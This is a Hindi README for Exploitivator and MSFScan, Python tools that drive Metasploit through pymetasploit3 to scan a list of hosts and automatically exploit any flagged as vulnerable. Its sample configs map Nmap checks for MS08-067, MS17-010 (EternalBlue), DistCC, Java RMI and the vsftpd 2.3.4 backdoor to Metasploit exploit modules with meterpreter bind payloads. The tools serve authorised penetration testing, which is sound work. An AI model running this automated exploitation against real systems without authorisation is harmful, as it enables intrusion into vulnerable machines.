
मेटास्प्लॉइट स्कैनिंग और एक्सप्लॉइटेशन को स्वचालित करें
V2.0 - पायथन 3 का उपयोग करने के लिए संशोधित
इसे केवल Kali पर परीक्षण किया गया है।
यह pymetasploit3 मॉड्यूल पर निर्भर करता है, जिसका विवरण यहाँ दिया गया है: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
आवश्यक Kali पैकेज और PostgreSQL gem (Ruby के लिए) स्थापित करें:
apt-get install postgresql libpq-dev git-core
gem install pg
pymetasploit3 Python 3 मॉड्यूल का वर्तमान संस्करण स्थापित करें:
pip3 install pymetasploit3
स्क्रिप्ट चलाने से पहले, msfconsole लोड करें और MSGRPC सेवा प्रारंभ करें। MSGRPC को Metasploit में msfrpcd के साथ निम्नानुसार प्रारंभ किया जा सकता है:
load msgrpc Pass=abc123 ServerHost=0.0.0.0 ServerPort=55552
स्कैन और/या शोषण के परिणाम Metasploit कंसोल और आउटपुट फ़ाइल(फ़ाइलों) (msf_scan_output.txt और exploitivator_output.txt) में दिखाई देंगे।
लक्ष्य होस्टों के समूह के विरुद्ध अनेक Metasploit स्कैन चलाने के लिए MSFScan का उपयोग करें। लक्ष्य होस्टों के समूह के विरुद्ध Nmap स्क्रिप्ट स्कैन चलाने और असुरक्षित बताए गए किसी भी होस्ट का स्वचालित रूप से शोषण करने के लिए Exploitivator का उपयोग करें।
कमांड लाइन उपयोग:
उदाहरण: एप्लिकेशन को निम्नानुसार चलाया जा सकता है, जहाँ '10.128.108.178' हमला करने वाली मशीन का IP पता है, 'hosts.txt' लक्ष्य होस्टों की सूची है, 'msf' Metasploit Postgres उपयोगकर्ता नाम है और 'abc123' Metasploit Postgres पासवर्ड है:
./exploitivator.py -l 10.128.108.178 -f hosts.txt -u msf -m abc123
कमांड लाइन उपयोग:
./msf_scan.py फ़ाइलनाम
./msf_scan.py फ़ाइलनाम MSF_DB_उपयोगकर्ता MSF_DB_पासवर्ड
उदाहरण: एप्लिकेशन को निम्नानुसार चलाया जा सकता है, जहाँ 'hosts.txt' लक्ष्य होस्टों की सूची है, 'msf' Metasploit Postgres उपयोगकर्ता नाम है और 'abc123' Metasploit Postgres पासवर्ड है:
./msf_scan.py hosts.txt msf abc123
'hosts.txt' को लक्ष्य होस्टों की सूची के रूप में चलाने के लिए, स्क्रिप्ट के डिफ़ॉल्ट Metasploit Postgres उपयोगकर्ता नाम (msf) और स्क्रिप्ट के डिफ़ॉल्ट Metasploit Postgres पासवर्ड (abc123) के साथ:
./msf_scan.py hosts.txt
दोनों स्क्रिप्ट आवश्यक Nmap और Metasploit स्कैन और हमलों का विवरण प्रदान करने के लिए कॉन्फ़िग फ़ाइलों पर निर्भर करती हैं।
स्क्रिप्ट 'scan_types.cfg' नाम की एक कॉन्फ़िग फ़ाइल का उपयोग करती है। इसमें लक्ष्यों के विरुद्ध चलाए जाने वाले किसी भी Metasploit स्कैन के लिए पथों की सूची होती है। जैसे:
auxiliary/scanner/dcerpc/endpoint_mapper
auxiliary/scanner/smb/smb_version
auxiliary/scanner/x11/open_x11
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/smb/smb_login
यह स्क्रिप्ट दो कॉन्फ़िग फ़ाइलों (exploitivator_scan.cfg और exploitivator.cfg) का उपयोग करती है। एक Nmap स्कैन और पैरामीटर निर्दिष्ट करने के लिए (exploitivator_scan.cfg), और दूसरा Metasploit पेलोड और पैरामीटर निर्दिष्ट करने के लिए (exploitivator.cfg)। ये विभाजक के रूप में '##' का उपयोग करती हैं और इनके निम्नलिखित प्रारूप हैं।
exploitivator_scan.cfg:
[लेबल]##[Nmap कमांड लाइन पैरामीटर]##[फ़ाइल आउटपुट के लिए Nmap कमांड लाइन पैरामीटर]##[वैकल्पिक - grep कमांड जो उपयोग किया जाए यदि Nmap का greppable आउटपुट उपयोग किया जा रहा है]
उपरोक्त प्रारूप में:
1) पहला खंड स्कैन को एक्सप्लॉइट से जोड़ने वाला लेबल है
2) दूसरा खंड Nmap कमांड लाइन का वह भाग है जो चलाए जाने वाले स्कैन के प्रकार, जैसे पोर्ट और स्क्रिप्ट, का विवरण निर्दिष्ट करता है
3) तीसरा खंड Nmap कमांड लाइन का वह भाग है जो Nmap आउटपुट फ़ाइल को परिभाषित करता है (एक्सप्लॉइटिवेटर XML या greppable Nmap आउटपुट को संभालता है)
4) वैकल्पिक चौथा खंड वह grep कमांड है जिसका उपयोग आप '.gnmap' फ़ाइल में एक असुरक्षित लक्ष्य की पहचान करने के लिए करना चाहते हैं
एक उदाहरण फ़ाइल सामग्री नीचे दिखाई गई है:
SMB_08-067##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms08-067.nse##-oX ms_08_067.xml
SMB_09-050##-p U:137,U:139,T:139,T:445 --script smb-vuln-cve2009-3103.nse##-oX ms_09_050.xml
SMB_10-054##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-054.nse##-oX ms_10_054.xml
SMB_10-061##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms10-061.nse##-oX ms_10_061.xml
SMB_17-010##-p U:137,U:139,T:139,T:445 --script smb-vuln-ms17-010##-oX ms_17_010.xml
DistCC##-p 3632 -sSV##-oG distcc.gnmap##grep "3632\/open\/tcp\/\/distccd"
JavaRMI##-p 1099 -sSV##-oG javarmi.gnmap##grep "1099\/open\/tcp\/\/rmi
VSFTPBackDoor##-p 21 -sSV##-oG vsftp_backdoor.gnmap##grep "vsftpd 2.3.4"
exploitivator.cfg:
[लेबल]##[Metasploit एक्सप्लॉइट पथ]##[वैकल्पिक - Metasploit पेलोड विवरण]
एक उदाहरण फ़ाइल सामग्री नीचे दिखाई गई है:
SMB_08-067##exploit/windows/smb/ms08_067_netapi##windows/meterpreter/bind_tcp
SMB_09-050##exploit/windows/smb/ms09_050_smb2_negotiate_func_index##windows/meterpreter/bind_tcp
SMB_10-061##exploit/windows/smb/ms10_061_spoolss##windows/meterpreter/bind_tcp
SMB_17-010##exploit/windows/smb/ms17_010_eternalblue##windows/meterpreter/bind_tcp
DistCC##exploit/unix/misc/distcc_exec##cmd/unix/bind_ruby
JavaRMI##exploit/multi/misc/java_rmi_server##php/meterpreter/bind_tcp
VSFTPBackDoor##exploit/unix/ftp/vsftpd_234_backdoor##none
MSGRPC प्रारंभ करना और उससे जुड़ना: https://coalfire.com/the-coalfire-blog/pymetasploit3-metasploit-automation-library
रेंज के बजाय फ़ाइल का उपयोग करने के लिए RHOSTS सेट करना: http://travisaltman.com/metasploit-set-rhosts-file/